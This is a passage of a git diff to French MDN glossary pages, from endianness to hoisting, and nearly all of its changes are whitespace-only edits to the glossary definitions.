ordinateurs Mac utilisaient des microprocesseurs 680x0 ou PowerPC qui étaient big-endian. Exemples avec le nombre `0x12345678` (i.e. 305 419 896 en décimal) : -- *little-endian :* `0x78 0x56 0x34 0x12` +- *little-endian :* `0x78 0x56 0x34 0x12` - _big-endian :_ 0x12 0x34 0x56 0x78 -- *mixed-endian* (dans le passé et très rare) : 0x34 0x12 0x78 0x56 +- *mixed-endian* (dans le passé et très rare) : 0x34 0x12 0x78 0x56 ## Voir aussi diff --git a/files/fr/glossary/engine/index.md b/files/fr/glossary/engine/index.md index 048a5a5b6f..3727c1c05b 100644 --- a/files/fr/glossary/engine/index.md +++ b/files/fr/glossary/engine/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Engine original_slug: Glossaire/Engine --- -Le moteur {{glossary("JavaScript")}} est un interpréteur qui analyse et exécute un programme JavaScript. +Le moteur {{glossary("JavaScript")}} est un interpréteur qui analyse et exécute un programme JavaScript. ## Plus d'informations diff --git a/files/fr/glossary/entity/index.md b/files/fr/glossary/entity/index.md index 7667368963..9739df4130 100644 --- a/files/fr/glossary/entity/index.md +++ b/files/fr/glossary/entity/index.md @@ -11,7 +11,7 @@ original_slug: Glossaire/Entity --- Une **entité** {{glossary("HTML")}} est une chaîne de texte _(string)_ qui commence par (`&)` et se termine avec `(;)`. Les entités sont fréquemment utilisées pour afficher des caractères réservés (qui seraient autrement interprétés comme du code HTML) et des caractères invisibles (comme des espaces insécables). Vous pouvez également les utiliser à la place d'autres caractères difficiles à taper avec un clavier standard. -De nombreux caractères sont des entités mnémoniques. Par exemple, l'entité pour le copyright symbole (`©`) est `©`. Pour les caractères non mémorisables, comme `—` ou `—`, vous pouvez utiliser un [tableau de référence](https://dev.w3.org/html5/html-author/charref) ou [un outil décodeur](https://mothereff.in/html-entities). +De nombreux caractères sont des entités mnémoniques. Par exemple, l'entité pour le copyright symbole (`©`) est `©`. Pour les caractères non mémorisables, comme `—` ou `—`, vous pouvez utiliser un [tableau de référence](https://dev.w3.org/html5/html-author/charref) ou [un outil décodeur](https://mothereff.in/html-entities). ## Caractères réservés diff --git a/files/fr/glossary/entity_header/index.md b/files/fr/glossary/entity_header/index.md index 0991dbe1db..9e41a7faf8 100644 --- a/files/fr/glossary/entity_header/index.md +++ b/files/fr/glossary/entity_header/index.md @@ -11,7 +11,7 @@ Un en-tête d'entité est un {{glossary("header","en-tête HTTP")}} décrivant l Même si les en-têtes d'entité ne sont ni des en-têtes de requête, ni des en-têtes de réponse, ils sont souvent inclus avec ces modalités. -Dans l'exemple suivant, {{HTTPHeader("Content-Length")}} est un en-tête d'entité, tandis que {{HTTPHeader("Host")}} et {{HTTPHeader("User-Agent")}} sont des {{glossary("Request header","en-têtes de requête")}} : +Dans l'exemple suivant, {{HTTPHeader("Content-Length")}} est un en-tête d'entité, tandis que {{HTTPHeader("Host")}} et {{HTTPHeader("User-Agent")}} sont des {{glossary("Request header","en-têtes de requête")}} : POST /myform.html HTTP/1.1 Host: developer.mozilla.org diff --git a/files/fr/glossary/exception/index.md b/files/fr/glossary/exception/index.md index 98cf330506..20d6983846 100644 --- a/files/fr/glossary/exception/index.md +++ b/files/fr/glossary/exception/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Exception original_slug: Glossaire/Exception --- -Une **exception** est un état qui interrompt l'exécution normale du code. En JavaScript, les {{glossary("syntax error", "erreurs de syntaxe")}} sont une source commune d'exceptions. +Une **exception** est un état qui interrompt l'exécution normale du code. En JavaScript, les {{glossary("syntax error", "erreurs de syntaxe")}} sont une source commune d'exceptions. ## En savoir plus diff --git a/files/fr/glossary/exif/index.md b/files/fr/glossary/exif/index.md index 4ace79604d..084f7d569b 100644 --- a/files/fr/glossary/exif/index.md +++ b/files/fr/glossary/exif/index.md @@ -3,7 +3,7 @@ title: EXIF slug: Glossary/EXIF translation_of: Glossary/EXIF --- -Le **format de fichier d'image échangeable ou EXIF** (« _Exchangeable Image File Format_ » en anglais) est une norme qui spécifie comment les métadonnées d'un fichier multimédia peuvent être intégrées dans le fichier. Par exemple, une image peut contenir des données EXIF décrivant : la largeur, la hauteur et la densité des pixels, la vitesse d'obturation, l'ouverture, les paramètres ISO, la date de capture, etc. +Le **format de fichier d'image échangeable ou EXIF** (« _Exchangeable Image File Format_ » en anglais) est une norme qui spécifie comment les métadonnées d'un fichier multimédia peuvent être intégrées dans le fichier. Par exemple, une image peut contenir des données EXIF décrivant : la largeur, la hauteur et la densité des pixels, la vitesse d'obturation, l'ouverture, les paramètres ISO, la date de capture, etc. ## Voir aussi diff --git a/files/fr/glossary/falsy/index.md b/files/fr/glossary/falsy/index.md index 6150a91102..d4d1961229 100644 --- a/files/fr/glossary/falsy/index.md +++ b/files/fr/glossary/falsy/index.md @@ -31,7 +31,7 @@ if (document.all) [1] \[1] `document.all` a été utilisé par le passé pour détecter le navigateur et la [spécification HTML définit une infraction délibérée](http://www.whatwg.org/specs/web-apps/current-work/multipage/obsolete.html#dom-document-all) aux standards ECMAScript afin de garder une compatibilité ascendante (`if (document.all) { // Code Internet Explorer ici (Sauf IE11) }` ou en utilisant `document.all` sans vérifier s'il existe d'abord : `document.all.foo`). -Parfois écrit falsey, bien qu'en anglais, transformer un mot en adjectif avec un _-y_ fait disparaître tout e final (noise => noisy, ice => icy, shine => shiny) . +Parfois écrit falsey, bien qu'en anglais, transformer un mot en adjectif avec un _-y_ fait disparaître tout e final (noise => noisy, ice => icy, shine => shiny) . ## En apprendre plus diff --git a/files/fr/glossary/fetch_directive/index.md b/files/fr/glossary/fetch_directive/index.md index 111d3eed91..268afa6198 100644 --- a/files/fr/glossary/fetch_directive/index.md +++ b/files/fr/glossary/fetch_directive/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Fetch_directive original_slug: Glossaire/Directive_de_récupération --- -Les **directives de récupération {{Glossary("CSP")}}** sont utilisées dans un en-tête de {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}} et contrôlent les emplacements à partir desquels certaines ressources peuvent être chargées. Par exemple, {{CSP("script-src")}} permet aux développeurs d'autoriser l'exécution de sources de script sur une page, tandis que {{CSP("font-src")}} contrôle les sources des polices de caractères web. +Les **directives de récupération {{Glossary("CSP")}}** sont utilisées dans un en-tête de {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}} et contrôlent les emplacements à partir desquels certaines ressources peuvent être chargées. Par exemple, {{CSP("script-src")}} permet aux développeurs d'autoriser l'exécution de sources de script sur une page, tandis que {{CSP("font-src")}} contrôle les sources des polices de caractères web. Toutes les directives de récupération reviennent à {{CSP("default-src")}}. Cela signifie que si une instruction fetch est absente dans l'en-tête CSP, l'agent utilisateur recherchera la directive default-src. diff --git a/files/fr/glossary/first_contentful_paint/index.md b/files/fr/glossary/first_contentful_paint/index.md index 0bddddbd52..9134446168 100644 --- a/files/fr/glossary/first_contentful_paint/index.md +++ b/files/fr/glossary/first_contentful_paint/index.md @@ -4,7 +4,7 @@ slug: Glossary/First_contentful_paint translation_of: Glossary/First_contentful_paint original_slug: Glossaire/First_contentful_paint --- -Le **<i lang="en">First Contentful Paint</i>** (FCP) est un indicateur du moment où le navigateur restitue le premier bit de contenu du DOM, fournissant le premier retour à l'internaute que la page est en cours de chargement. La réponse à la question « Est-ce que quelque chose se passe ? » devient « oui » lorsque la première peinture du contenu est terminée. +Le **<i lang="en">First Contentful Paint</i>** (FCP) est un indicateur du moment où le navigateur restitue le premier bit de contenu du DOM, fournissant le premier retour à l'internaute que la page est en cours de chargement. La réponse à la question « Est-ce que quelque chose se passe ? » devient « oui » lorsque la première peinture du contenu est terminée. _L'horodatage <i lang="en">First Contentful Paint</i>_ correspond au premier rendu par le navigateur d'un texte, d'une image (y compris les images d'arrière-plan), d'un canevas non blanc ou d'un SVG. Cela exclut le contenu des iframes, mais inclut le texte avec des polices web en attente de chargement. C'est le moment où les internautes pourront commencer à consulter le contenu de la page pour la première fois. diff --git a/files/fr/glossary/first_meaningful_paint/index.md b/files/fr/glossary/first_meaningful_paint/index.md index 92df766c94..6cac86739a 100644 --- a/files/fr/glossary/first_meaningful_paint/index.md +++ b/files/fr/glossary/first_meaningful_paint/index.md @@ -4,7 +4,7 @@ slug: Glossary/first_meaningful_paint translation_of: Glossary/first_meaningful_paint original_slug: Glossaire/first_meaningful_paint --- -L'indicateur **<i lang="en">First Meaningful Paint</i>** (FMP) correspond à la peinture (<i lang="en">paint</i> en anglais) intervenant après laquelle le plus grand changement de mise en page situé au-dessus de la ligne de flottaison s'est produit et après le chargement des polices. C'est lorsque la réponse à la question « La page est elle utilisable ? » devient « oui », lors de la première finition significative de la peinture. +L'indicateur **<i lang="en">First Meaningful Paint</i>** (FMP) correspond à la peinture (<i lang="en">paint</i> en anglais) intervenant après laquelle le plus grand changement de mise en page situé au-dessus de la ligne de flottaison s'est produit et après le chargement des polices. C'est lorsque la réponse à la question « La page est elle utilisable ? » devient « oui », lors de la première finition significative de la peinture. ## Voir aussi diff --git a/files/fr/glossary/forbidden_header_name/index.md b/files/fr/glossary/forbidden_header_name/index.md index e872451fb7..5d8e9c4d06 100644 --- a/files/fr/glossary/forbidden_header_name/index.md +++ b/files/fr/glossary/forbidden_header_name/index.md @@ -14,7 +14,7 @@ original_slug: Glossaire/Forbidden_header_name Les modifications de ces en-têtes sont interdites pour que l'agent utilisateur garde un total contrôle sur eux. Les noms commençant par \``Sec-`\` sont réservés à la création de nouveaux en-têtes à l'abri des {{glossary("API","API")}} utilisant [Fetch](/fr/docs/Web/API/Fetch_API) qui accordent aux développeurs le contrôle des en-têtes, tels que {{domxref("XMLHttpRequest")}}. -Les noms d'en-tête interdits commencent avec `Proxy-` ou `Sec-`, ou se composent de l'un d'eux : +Les noms d'en-tête interdits commencent avec `Proxy-` ou `Sec-`, ou se composent de l'un d'eux : - `Accept-Charset` - `Accept-Encoding` diff --git a/files/fr/glossary/forbidden_response_header_name/index.md b/files/fr/glossary/forbidden_response_header_name/index.md index 375bd215cb..37f7f4bf85 100644 --- a/files/fr/glossary/forbidden_response_header_name/index.md +++ b/files/fr/glossary/forbidden_response_header_name/index.md @@ -16,4 +16,4 @@ _Un nom d'en-tête de réponse interdit est un_ nom d'[en-tête HTTP](/fr/docs/H | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | ------------------------ | ----------- | -| {{SpecName('Fetch','#forbidden-response-header-name','forbidden-response-header-name')}} | {{Spec2('Fetch')}} | | +| {{SpecName('Fetch','#forbidden-response-header-name','forbidden-response-header-name')}} | {{Spec2('Fetch')}} | | diff --git a/files/fr/glossary/ftp/index.md b/files/fr/glossary/ftp/index.md index 12001aae16..ab41f05074 100644 --- a/files/fr/glossary/ftp/index.md +++ b/files/fr/glossary/ftp/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/FTP original_slug: Glossaire/FTP --- -**FTP** (file transfer protocol) est un {{glossary("Protocol","protocole")}} réseau standard utilisé pour transférer des fichiers d'un {{glossary("Host","hôte")}} à un autre par Internet. De plus en plus, cependant, les équipes et les comptes d'hébergement n'autorisent pas le FTP et s'appuient plutôt sur un système de contrôle de version comme Git. Vous le trouverez toujours utilisé sur les anciens comptes d'hébergement, mais il est sûr de dire que FTP n'est plus considéré comme la meilleure pratique. +**FTP** (file transfer protocol) est un {{glossary("Protocol","protocole")}} réseau standard utilisé pour transférer des fichiers d'un {{glossary("Host","hôte")}} à un autre par Internet. De plus en plus, cependant, les équipes et les comptes d'hébergement n'autorisent pas le FTP et s'appuient plutôt sur un système de contrôle de version comme Git. Vous le trouverez toujours utilisé sur les anciens comptes d'hébergement, mais il est sûr de dire que FTP n'est plus considéré comme la meilleure pratique. ## En apprendre plus diff --git a/files/fr/glossary/function/index.md b/files/fr/glossary/function/index.md index f6be5f0c22..70a3d01e05 100644 --- a/files/fr/glossary/function/index.md +++ b/files/fr/glossary/function/index.md @@ -70,7 +70,7 @@ Une **expression de fonction invoquée immédiatement** (IIFE) est une fonction ```js // Erreur (https://en.wikipedia.org/wiki/Immediately-invoked_function_expression) /* -function foo() { +function foo() { console.log('Hello Foo'); }(); */ diff --git a/files/fr/glossary/garbage_collection/index.md b/files/fr/glossary/garbage_collection/index.md index 3ab70fca5d..b34ec0467a 100644 --- a/files/fr/glossary/garbage_collection/index.md +++ b/files/fr/glossary/garbage_collection/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Garbage_collection original_slug: Glossaire/Ramasse-miettes --- -**[Ramasse-miettes](/fr/docs/Web/JavaScript/Memory_Management#Garbage_collection)** est un terme utilisé en {{Glossary("Computer Programming","programmation informatique")}} pour décrire le processus de recherche et de suppression des {{Glossary("Object", "objets")}} qui ne sont plus {{Glossary("Object reference", "référencés")}} par d'autres objets. En d'autres termes, le ramasse-miettes est le processus de suppression de tous les objets qui ne sont plus utilisés par d'autres objets. Souvent abrégé "GC" (pour Garbage Collection en anglais), le ramasse-miettes est un élément fondamental du système de la {{Glossary("Memory management","gestion de la mémoire")}} utilisé par {{Glossary("JavaScript")}}. +**[Ramasse-miettes](/fr/docs/Web/JavaScript/Memory_Management#Garbage_collection)** est un terme utilisé en {{Glossary("Computer Programming","programmation informatique")}} pour décrire le processus de recherche et de suppression des {{Glossary("Object", "objets")}} qui ne sont plus {{Glossary("Object reference", "référencés")}} par d'autres objets. En d'autres termes, le ramasse-miettes est le processus de suppression de tous les objets qui ne sont plus utilisés par d'autres objets. Souvent abrégé "GC" (pour Garbage Collection en anglais), le ramasse-miettes est un élément fondamental du système de la {{Glossary("Memory management","gestion de la mémoire")}} utilisé par {{Glossary("JavaScript")}}. ## **Pour approfondir** diff --git a/files/fr/glossary/git/index.md b/files/fr/glossary/git/index.md index c24486b32c..293a3893a8 100644 --- a/files/fr/glossary/git/index.md +++ b/files/fr/glossary/git/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Git original_slug: Glossaire/GIT --- -**Git** est un logiciel libre et distribué de gestion de source code (ou*{{Glossary("SCM", "SCM", 1)}}*, _Source Code Management_). Cela permet de faciliter la collaboration sur une base de code avec des équipes de développement séparées. Ce qui le distingue des précédents *SCM* est sa capacité à faire des opérations basiques (créer une branche, faire un commit etc.) sur votre machine de développement locale sans avoir à changer le dépôt master ou avoir les droits d'écriture dessus. +**Git** est un logiciel libre et distribué de gestion de source code (ou*{{Glossary("SCM", "SCM", 1)}}*, _Source Code Management_). Cela permet de faciliter la collaboration sur une base de code avec des équipes de développement séparées. Ce qui le distingue des précédents *SCM* est sa capacité à faire des opérations basiques (créer une branche, faire un commit etc.) sur votre machine de développement locale sans avoir à changer le dépôt master ou avoir les droits d'écriture dessus. ## Pour en savoir plus diff --git a/files/fr/glossary/graceful_degradation/index.md b/files/fr/glossary/graceful_degradation/index.md index 8d952a1f6a..3763d1b079 100644 --- a/files/fr/glossary/graceful_degradation/index.md +++ b/files/fr/glossary/graceful_degradation/index.md @@ -9,7 +9,7 @@ original_slug: Glossaire/Graceful_degradation --- **La dégradation gracieuse** est une philosophie de conception centrée sur la création d'un site / application web moderne qui fonctionnera dans les navigateurs les plus récents, mais qui sera remplacé par un contenu et une fonctionnalité essentiels dans les anciens navigateurs, même moins performant. -[Les P](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection)[olyfills](/fr/docs/Glossaire/Polyfill) peuvent être utilisés pour intégrer des fonctionnalités manquantes avec JavaScript, mais des alternatives acceptables à des fonctionnalités telles que le style et la mise en page doivent être fournies si possible, par exemple en utilisant la cascade CSS ou le comportement de repli HTML. Quelques bons exemples peuvent être trouvés dans [Traitement des problèmes HTML et CSS courants](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS). +[Les P](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection)[olyfills](/fr/docs/Glossaire/Polyfill) peuvent être utilisés pour intégrer des fonctionnalités manquantes avec JavaScript, mais des alternatives acceptables à des fonctionnalités telles que le style et la mise en page doivent être fournies si possible, par exemple en utilisant la cascade CSS ou le comportement de repli HTML. Quelques bons exemples peuvent être trouvés dans [Traitement des problèmes HTML et CSS courants](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS). C'est une technique utile qui permet aux développeurs Web de se concentrer sur le développement des meilleurs sites web possibles tout en compensant les problèmes de ces sites auxquels accèdent plusieurs agents utilisateurs inconnus. L'{{Glossary("Progressive enhancement","Amélioration progressive")}} est apparentée mais différente — la dégradation gracieuse est souvent considérée comme allant dans la direction opposée à l'amélioration progressive. En réalité, les deux approches sont valides et peuvent souvent se compléter l'une l'autre. diff --git a/files/fr/glossary/grid/index.md b/files/fr/glossary/grid/index.md index d3772b846f..1b942a86cd 100644 --- a/files/fr/glossary/grid/index.md +++ b/files/fr/glossary/grid/index.md @@ -12,7 +12,7 @@ Une grille _CSS_ est définie en utilisant la valeur `grid` de la propriété `d La grille que vous définissez avec ces propriétés est décrite comme une _grille explicite_. -Si vous placez du contenu en dehors de cette grille explicite, ou si vous comptez sur le placement automatique, l'algorithme de grille doit créer une {{glossary("grid tracks", "piste")}} (_track_) de ligne ou de colonne supplémentaire pour contenir {{glossary("grid item", "éléments de grille")}} (_grid items_), des pistes supplémentaires seront alors créées dans la grille implicite. La grille implicite est la grille créée automatiquement en raison de l'ajout de contenu en dehors des pistes définies. +Si vous placez du contenu en dehors de cette grille explicite, ou si vous comptez sur le placement automatique, l'algorithme de grille doit créer une {{glossary("grid tracks", "piste")}} (_track_) de ligne ou de colonne supplémentaire pour contenir {{glossary("grid item", "éléments de grille")}} (_grid items_), des pistes supplémentaires seront alors créées dans la grille implicite. La grille implicite est la grille créée automatiquement en raison de l'ajout de contenu en dehors des pistes définies. Dans l'exemple ci-dessous, nous avons créé une grille explicite de 3 colonnes et 2 lignes. La troisième ligne de la grille est une piste de ligne de grille implicite, formée en raison des 2 éléments en plus, par rapport aux 6 qui remplissent les pistes explicites. @@ -70,4 +70,4 @@ Dans l'exemple ci-dessous, nous avons créé une grille explicite de 3 colonnes ### En lire plus -- Guide des grilles CSS : _[Les concepts de base des grilles CSS](/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base)_ +- Guide des grilles CSS : _[Les concepts de base des grilles CSS](/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base)_ diff --git a/files/fr/glossary/grid_areas/index.md b/files/fr/glossary/grid_areas/index.md index ea130ce8ae..5e232d3d80 100644 --- a/files/fr/glossary/grid_areas/index.md +++ b/files/fr/glossary/grid_areas/index.md @@ -8,13 +8,13 @@ tags: translation_of: Glossary/Grid_Areas original_slug: Glossaire/Zones_de_grille --- -Une **zone de grille** est une {{glossary("grid cell","cellule de grille")}} ou plus, qui constitue une zone rectangulaire sur la grille. Les zones de grille sont créées lorsque vous placez un élément en utilisant le [placement de la ligne de base](/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_%C3%A9l%C3%A9ments_sur_les_lignes_d_une_grille_CSS) ou lors de la définition des zones par l'utilisation de [zones de grille nommées](/fr/docs/Web/CSS/CSS_Grid_Layout/D%C3%A9finir_des_zones_sur_une_grille). +Une **zone de grille** est une {{glossary("grid cell","cellule de grille")}} ou plus, qui constitue une zone rectangulaire sur la grille. Les zones de grille sont créées lorsque vous placez un élément en utilisant le [placement de la ligne de base](/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_%C3%A9l%C3%A9ments_sur_les_lignes_d_une_grille_CSS) ou lors de la définition des zones par l'utilisation de [zones de grille nommées](/fr/docs/Web/CSS/CSS_Grid_Layout/D%C3%A9finir_des_zones_sur_une_grille).  Les zones de grille doivent être de nature rectangulaire ; il n'est pas possible de créer, par exemple, une zone de grille en forme de T ou de L. -Dans l'exemple ci-dessous, nous avons un conteneur de grille avec deux éléments de grille nommés à l'aide de la propriété {{cssxref("grid-area")}} et mis sur la grille en utilisant {{cssxref("grid-template-areas")}}. Cela crée deux zones de grille, l'une couvrant quatre cellules de la grille, et deux autres d'une seule cellule. +Dans l'exemple ci-dessous, nous avons un conteneur de grille avec deux éléments de grille nommés à l'aide de la propriété {{cssxref("grid-area")}} et mis sur la grille en utilisant {{cssxref("grid-template-areas")}}. Cela crée deux zones de grille, l'une couvrant quatre cellules de la grille, et deux autres d'une seule cellule. ## Exemple diff --git a/files/fr/glossary/grid_axis/index.md b/files/fr/glossary/grid_axis/index.md index 386d31f2e3..0d6d640c25 100644 --- a/files/fr/glossary/grid_axis/index.md +++ b/files/fr/glossary/grid_axis/index.md @@ -12,7 +12,7 @@ La grille CSS est une méthode de mise en page bidimensionnelle permettant une p C'est sur ces axes que les items peuvent être alignés et justifiés en utilisant les propriétés définies dans [les spécifications de l'alignement des boîtes](/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_bo%C3%AEtes_avec_les_grilles_CSS). -En CSS l'axe des colonnes (ou des blocs) est l'axe utilisé lors de la disposition des blocs de texte . Si vous avez 2 paragraphes et travaillez de droite à gauche, du haut vers le bas, ils s'alignent les uns au-dessus des autres, sur l'axe du bloc. +En CSS l'axe des colonnes (ou des blocs) est l'axe utilisé lors de la disposition des blocs de texte . Si vous avez 2 paragraphes et travaillez de droite à gauche, du haut vers le bas, ils s'alignent les uns au-dessus des autres, sur l'axe du bloc.  diff --git a/files/fr/glossary/grid_cell/index.md b/files/fr/glossary/grid_cell/index.md index 5c93356880..495115780c 100644 --- a/files/fr/glossary/grid_cell/index.md +++ b/files/fr/glossary/grid_cell/index.md @@ -12,7 +12,7 @@ Dans une [Grille CSS](/fr/docs/Web/CSS/CSS_Grid_Layout), une **cellule de grille  -Si vous ne placez pas d'éléments à l'aide de l'une des méthodes de placement de grille, les enfants directs du conteneur de grille seront placés un dans chaque cellule individuelle par l'algorithme de placement automatique. Les {{glossary("Grid Tracks", "pistes")}} de ligne ou colonne supplémentaire seront créées par la création des cellules nécessaires pour contenir tous les éléments. +Si vous ne placez pas d'éléments à l'aide de l'une des méthodes de placement de grille, les enfants directs du conteneur de grille seront placés un dans chaque cellule individuelle par l'algorithme de placement automatique. Les {{glossary("Grid Tracks", "pistes")}} de ligne ou colonne supplémentaire seront créées par la création des cellules nécessaires pour contenir tous les éléments. Dans l'exemple, nous avons créé une grille de trois colonnes. Les cinq éléments sont placés dans des cellules de la grille le long d'une rangée initiale de trois cellules de la grille, puis par l'ajout d'une nouvelle ligne pour les deux autres. diff --git a/files/fr/glossary/grid_container/index.md b/files/fr/glossary/grid_container/index.md index 731b614fe5..a2f6c6c93b 100644 --- a/files/fr/glossary/grid_container/index.md +++ b/files/fr/glossary/grid_container/index.md @@ -8,9 +8,9 @@ tags: translation_of: Glossary/Grid_Container original_slug: Glossaire/grid_container --- -Utiliser la valeur `grid` ou `inline-grid` sur un élément le transforme en un conteneur de grille utilisant [CSS Grid Layout](/fr/docs/Web/CSS/CSS_Grid_Layout), et les enfants directs de celui-ci deviennent un élément de cette grille. +Utiliser la valeur `grid` ou `inline-grid` sur un élément le transforme en un conteneur de grille utilisant [CSS Grid Layout](/fr/docs/Web/CSS/CSS_Grid_Layout), et les enfants directs de celui-ci deviennent un élément de cette grille. -Quand un élément devient un conteneur de grille il établit un **contexte** **de** **formatage** **de grille** (grid formatting context). Les enfants directs peuvent dorénavent se placer sur une grille explicite définie utilisant {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}}, ou sur une grille implicite créée quand un élément est placé en dehors de la grille explicite. +Quand un élément devient un conteneur de grille il établit un **contexte** **de** **formatage** **de grille** (grid formatting context). Les enfants directs peuvent dorénavent se placer sur une grille explicite définie utilisant {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}}, ou sur une grille implicite créée quand un élément est placé en dehors de la grille explicite. diff --git a/files/fr/glossary/grid_lines/index.md b/files/fr/glossary/grid_lines/index.md index d1ddc16e82..a6e8e5b987 100644 --- a/files/fr/glossary/grid_lines/index.md +++ b/files/fr/glossary/grid_lines/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Grid_Lines original_slug: Glossaire/Lignes_de_grille_(lines) --- -Les **lignes de grille** sont créées avec la définition des {{glossary("Grid Tracks", "pistes")}} (_tracks_) dans la grille explicite pour [une grille CSS](/fr/docs/Web/CSS/CSS_Grid_Layout). Dans l'exemple suivant, est présentée une grille qui a 3 pistes de colonnes et 2 pistes de lignes. Cela nous donne 4 lignes de colonnes _(column lines_) et 3 lignes de lignes _(row lines)_. +Les **lignes de grille** sont créées avec la définition des {{glossary("Grid Tracks", "pistes")}} (_tracks_) dans la grille explicite pour [une grille CSS](/fr/docs/Web/CSS/CSS_Grid_Layout). Dans l'exemple suivant, est présentée une grille qui a 3 pistes de colonnes et 2 pistes de lignes. Cela nous donne 4 lignes de colonnes _(column lines_) et 3 lignes de lignes _(row lines)_. ## Exemple @@ -53,7 +53,7 @@ Les **lignes de grille** sont créées avec la définition des {{glossary("Gri {{ EmbedLiveSample('Exemple', '500', '250') }} -Les lignes peuvent être adressées en utilisant leur numéro de ligne. Dans une langue de gauche à droite telle que l'anglais, la ligne de colonne 1 sera sur la gauche de la grille, la ligne de ligne 1 en haut. Les chiffres des lignes respectent le [mode d'écriture](/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_%C3%A9criture) du document et ainsi, dans une langue écrite de droite à gauche par exemple, la ligne de colonne 1 sera sur la droite de la grille. L'image ci-dessous montre les numéros de ligne de la grille, en supposant que la langue est écrite de gauche à droite. +Les lignes peuvent être adressées en utilisant leur numéro de ligne. Dans une langue de gauche à droite telle que l'anglais, la ligne de colonne 1 sera sur la gauche de la grille, la ligne de ligne 1 en haut. Les chiffres des lignes respectent le [mode d'écriture](/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_%C3%A9criture) du document et ainsi, dans une langue écrite de droite à gauche par exemple, la ligne de colonne 1 sera sur la droite de la grille. L'image ci-dessous montre les numéros de ligne de la grille, en supposant que la langue est écrite de gauche à droite.  diff --git a/files/fr/glossary/gutters/index.md b/files/fr/glossary/gutters/index.md index 6a9d71cb19..503b1a24c4 100644 --- a/files/fr/glossary/gutters/index.md +++ b/files/fr/glossary/gutters/index.md @@ -8,7 +8,7 @@ original_slug: Glossaire/Gutters ## Exemple -Dans l'exemple ci-dessous, nous avons une grille de 3 colonnes et 2 rangées, avec 20 pixels d'écart entre les pistes de colonnes et `20px` entre les pistes de lignes. +Dans l'exemple ci-dessous, nous avons une grille de 3 colonnes et 2 rangées, avec 20 pixels d'écart entre les pistes de colonnes et `20px` entre les pistes de lignes. ```css hidden * {box-sizing: border-box;} diff --git a/files/fr/glossary/hoisting/index.md b/files/fr/glossary/hoisting/index.md index 03746ce608..3263d55c5d 100644 --- a/files/fr/glossary/hoisting/index.md +++ b/files/fr/glossary/hoisting/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Hoisting original_slug: Glossaire/Hoisting --- -Le hoisting (_en français,_ _"hissage"_) est un terme que vous _ne_ trouverez dans aucune prose de spécification normative avant l'[ECMAScript® 2015](http://www.ecma-international.org/ecma-262/6.0/index.html). Le hissage a été conçu comme une façon générale de penser à la manière dont les contextes d'exécution (précisément, les phases de création et d'exécution) fonctionnent en JavaScript. Toutefois, le concept peut être un peu déroutant à première vue. +Le hoisting (_en français,_ _"hissage"_) est un terme que vous _ne_ trouverez dans aucune prose de spécification normative avant l'[ECMAScript® 2015](http://www.ecma-international.org/ecma-262/6.0/index.html). Le hissage a été conçu comme une façon générale de penser à la manière dont les contextes d'exécution (précisément, les phases de création et d'exécution) fonctionnent en JavaScript. Toutefois, le concept peut être un peu déroutant à première vue. Conceptuellement, par exemple, une définition stricte du hissage suggère que les déclarations de variables et de fonctions sont déplacées physiquement en haut de votre code, mais ce n'est pas ce qui se passe en fait. A la place, les déclarations de variables et de fonctions sont mises en mémoire pendant la phase de _compilation_, mais restent exactement là où vous les avez tapées dans votre code. @@ -16,7 +16,7 @@ Conceptuellement, par exemple, une définition stricte du hissage suggère que l ### Exemple technique -L'un des avantages du fait que JavaScript met en mémoire les déclarations des fonctions avant d'exécuter un quelconque segment de code, est que cela vous permet d'utiliser une fonction avant que nous ne la déclariez dans votre code. Par exemple : +L'un des avantages du fait que JavaScript met en mémoire les déclarations des fonctions avant d'exécuter un quelconque segment de code, est que cela vous permet d'utiliser une fonction avant que nous ne la déclariez dans votre code. Par exemple : ```js function nomChat(nom) { @@ -29,7 +29,7 @@ Le résultat du code ci-dessus est : "Le nom de mon chat est Tigrou" */ ``` -Le fragment de code ci-dessus est la façon dont vous vous attendez à écrire le code pour qu'il fonctionne. Voyons maintenant ce qui se passe quand nous appelons la fonction avant de la déclarer : +Le fragment de code ci-dessus est la façon dont vous vous attendez à écrire le code pour qu'il fonctionne. Voyons maintenant ce qui se passe quand nous appelons la fonction avant de la déclarer : ```js nomChat("Chloé"); @@ -44,7 +44,7 @@ Le résultat du code ci-dessus est : "Le nom de mon chat est Chloé" Même si nous appelons d'abord la fonction dans notre code, avant que la fonction ne soit écrite, le code fonctionne néanmoins. Cela est dû à la façon dont l'exécution de contexte fonctionne en Javascript. -Le hissage fonctionne tout aussi bien avec d'autres types de données et d'autres variables. Les variables peuvent être initialisées et utilisées avant d'être déclarées. Mais elles ne peuvent pas être utilisées sans initialisation. +Le hissage fonctionne tout aussi bien avec d'autres types de données et d'autres variables. Les variables peuvent être initialisées et utilisées avant d'être déclarées. Mais elles ne peuvent pas être utilisées sans initialisation. ### Exemple technique @@ -55,7 +55,7 @@ var num; /* Ne donne aucune erreur tant que num est déclarée*/ ``` -JavaScript hisse seulement les déclarations, pas les initialisations. Si vous utilisez une variable qui est déclarée et initialisée après l'avoir utilisée, sa valeur sera indéfinie. Les deux 